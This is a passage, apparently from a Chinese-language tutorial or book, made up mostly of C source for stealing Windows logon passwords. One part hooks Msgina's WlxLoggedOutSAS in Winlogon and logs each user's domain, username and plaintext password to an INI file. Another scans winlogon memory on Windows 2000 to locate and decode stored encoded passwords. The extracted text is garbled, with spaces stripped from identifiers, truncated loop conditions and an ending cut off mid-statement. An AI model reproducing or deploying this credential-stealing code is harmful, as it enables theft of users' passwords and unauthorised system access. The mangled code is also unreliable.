FlushInstructionCache(hProcess,mbi.BaseAddress,mbi.RegionSize); gotoprotect; free:
VirtualFree(lpStub,dwBytesWritten,MEM_RELEASE); lpStub=NULL; protect:
VirtualProtect(mbi.BaseAddress,mbi.RegionSize,mbi.Protect,&dwOldProt ect);
returnlpStub; }
BOOLUnHookFunctionInCurrentProcess(LPCSTRcsModuleName,LPCSTR csFunctionName,LPVOIDlpStubAddress) {
LPVOIDlpModule,lpFunction;
MEMORY_BASIC_INFORMATIONmbiFunction,mbiStub; BOOLbWrite,bReturn;
HANDLEhProcess=GetCurrentProcess(); DWORDdwBytesWritten; INTiCount;
lpModule=GetModuleHandleA(csModuleName); if(!lpModule)returnFALSE;
lpFunction=GetProcAddress(lpModule,csFunctionName); if(!lpFunction)returnFALSE; if(!lpStubAddress)returnFALSE;
VirtualQuery(lpFunction,&mbiFunction,sizeof(MEMORY_BASIC_INFORMATION ));
VirtualProtect(mbiFunction.BaseAddress,mbiFunction.RegionSize,PAGE_E XECUTE_READWRITE,&mbiFunction.Protect);
VirtualQuery(lpStubAddress,&mbiStub,sizeof(MEMORY_BASIC_INFORMATION) );
VirtualProtect(mbiStub.BaseAddress,mbiStub.RegionSize,PAGE_EXECUTE_R EADWRITE,&mbiStub.Protect); iCount=0;
while((iCount bWrite=WriteProcessMemory(hProcess,lpFunction,lpStubAddress,1,&dwByt esWritten); if(!bWrite) { bReturn=FALSE; gotoprotect; } ((unsignedchar*)lpFunction)++; ((unsignedchar*)lpStubAddress)++; iCount++; } VirtualFree(lpStubAddress,STUB_SIZE,MEM_RELEASE); lpStubAddress=NULL; bReturn=TRUE; protect: VirtualProtect(mbiFunction.BaseAddress,mbiFunction.RegionSize,mbiFun ction.Protect,NULL); returnbReturn; } (9)函数挂接完成后,Winlogon调用Msgina提供的函数时,实际上调用的是替换 后的函数。这里只拦截了WlxLoggedOutSAS函数,这个函数调用参数中包含了我们最 关心的用户名和密码。下面给出NewWlxLoggedOutSAS函数的实现。 //Functiontype typedefINT(WINAPI*WLXLOGGEDOUTSAS) (PVOID,DWORD,PLUID,PSID,PDWORD,PHANDLE,PWLX_MPR_NOTIFY_INFO,PVOID*); //NewWlxLoggedOutSAS INTWINAPINewWlxLoggedOutSAS(PVOIDpWlxContext,DWORDdwSasType, PLUIDpAuthenticationId,PSIDpLogonSid,PDWORD pdwOptions,PHANDLEphToken, PWLX_MPR_NOTIFY_INFOpMprNotifyInfo,PVOID*pProfile) { INTiReturn; WLXLOGGEDOUTSASpWlxLoggedOutSas=(WLXLOGGEDOUTSAS) htHookTable[WLXLOGGEDOUTHOOK].ppOriginal; //Calloriginalfunction iReturn=pWlxLoggedOutSas(pWlxContext, dwSasType,pAuthenticationId,pLogonSid, pdwOptions,phToken,pMprNotifyInfo,pProfile); //LogpMprNotifyInfoiflogon if(iReturn==WLX_SAS_ACTION_LOGON){ WritePrivateProfileString(pMprNotifyInfo->pszDomain,“UserName”, pMprNotifyInfo->pszUserName,”Winlogon.ini”); WritePrivateProfileString(pMprNotifyInfo->pszDomain,“Password”, pMprNotifyInfo->pszPassword,”Winlogon.ini”); } returniReturn; } 用户登录后,因为登录的域名和用户名是明文存储在winlogon进程里的,因此可 以借助于调用GetEnvironmentVariableW(L\得到当前 登录的用户名,调用GetEnvironmentVariableW(L\可以得到域名。通过这些信息可以直接在Winlogon进程的空间中查找UserName和 DomainName的字符串。 if((wcscmp((wchar_t*)RealStartingAddressP,UserName)==0) && (wcscmp((wchar_t*)((DWORD)RealStartingAddressP+ USER_DOMAIN_OFFSET_WIN2K),UserDomain)==0)) 找到后就查后边的加密口令。 只要是管理员,任何本机用msgina.dll图形登录的用户口令都可以找到。 下面给出在Windows2000环境下强制搜索密码的方法: typedefstruct_UNICODE_STRING { USHORTLength; USHORTMaximumLength; PWSTRBuffer; }UNICODE_STRING,*PUNICODE_STRING; //Undocumentedtypedef's typedefstruct_QUERY_SYSTEM_INFORMATION { DWORDGrantedAccess; DWORDPID; WORDHandleType; WORDHandleId; DWORDHandle; }QUERY_SYSTEM_INFORMATION,*PQUERY_SYSTEM_INFORMATION; typedefstruct_PROCESS_INFO_HEADER { DWORDCount; DWORDUnk04; DWORDUnk08; }PROCESS_INFO_HEADER,*PPROCESS_INFO_HEADER; typedefstruct_PROCESS_INFO { DWORDLoadAddress; DWORDSize; DWORDUnk08; DWORDEnumerator; DWORDUnk10; charName[0x108]; }PROCESS_INFO,*PPROCESS_INFO; typedefstruct_ENCODED_PASSWORD_INFO { DWORDHashByte; DWORDUnk04; DWORDUnk08; DWORDUnk0C; FILETIMELoggedOn; DWORDUnk18; DWORDUnk1C; DWORDUnk20; DWORDUnk24; DWORDUnk28; UNICODE_STRINGEncodedPassword; }ENCODED_PASSWORD_INFO,*PENCODED_PASSWORD_INFO; //LocatePasswordPageWin2K函数用来在Windows2000中找到用户密码 BOOLLocatePasswordPageWin2K(DWORDWinLogonPID,PDWORDPasswordLength) { #defineUSER_DOMAIN_OFFSET_WIN2K0x400 #defineUSER_PASSWORD_OFFSET_WIN2K0x800 HANDLEWinLogonHandle=OpenProcess(PROCESS_QUERY_INFORMATION| PROCESS_VM_READ,FALSE,WinLogonPID); if(WinLogonHandle==0)return(FALSE); *PasswordLength=0; SYSTEM_INFOSystemInfo; GetSystemInfo(&SystemInfo); DWORDi=(DWORD)SystemInfo.lpMinimumApplicationAddress; DWORDMaxMemory=(DWORD)SystemInfo.lpMaximumApplicationAddress; DWORDIncrement=SystemInfo.dwPageSize; MEMORY_BASIC_INFORMATIONMemoryBasicInformation; while(i if(VirtualQueryEx(WinLogonHandle,(PVOID)i, &MemoryBasicInformation, sizeof(MEMORY_BASIC_INFORMATION))) { Increment=MemoryBasicInformation.RegionSize; if(((MemoryBasicInformation.State&MEM_COMMIT)== MEM_COMMIT)&& ((MemoryBasicInformation.Protect&PAGE_GUARD)==0)) { PVOIDRealStartingAddressP=HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, MemoryBasicInformation.RegionSize); DWORDBytesCopied=0; if(ReadProcessMemory(WinLogonHandle,(PVOID)i, RealStartingAddressP, MemoryBasicInformation.RegionSize, &BytesCopied)) { //在WinLogon的内存空间中寻找UserName和DomainName的字符串 if((wcsicmp((wchar_t)RealStartingAddressP, UserName)==0)&& (wcsicmp((wchar_t*)((DWORD) RealStartingAddressP+USER_DOMAIN_OFFSET_WIN2K), UserDomain)==0)) { RealPasswordP=(PVOID)(i+ USER_PASSWORD_OFFSET_WIN2K); PasswordP=(PVOID)((DWORD)RealStartingAddressP +USER_PASSWORD_OFFSET_WIN2K); //计算出密文的长度 PBYTEp=(PBYTE)PasswordP; DWORDLoc=(DWORD)p; DWORDLen=0; p=(PBYTE)Loc; }while(*p!=0); *PasswordLength=Len; CloseHandle(WinLogonHandle); return(TRUE); } } HeapFree(GetProcessHeap(),0,RealStartingAddressP); } } else Increment=SystemInfo.dwPageSize; //移动到下一个内存块 i+=Increment; } CloseHandle (WinLogonHandle); return(FALSE); }//LocatePasswordPageWin2K //DisplayPasswordWin2K函数用来在Windows2000中解码用户密码 voidDisplayPasswordWin2K(void) { DWORDi,Hash=0; UNICODE_STRINGEncodedString; EncodedString.Length=USHORT)PasswordLength*sizeof(wchar_t); EncodedString.MaximumLength=((USHORT)PasswordLength*sizeof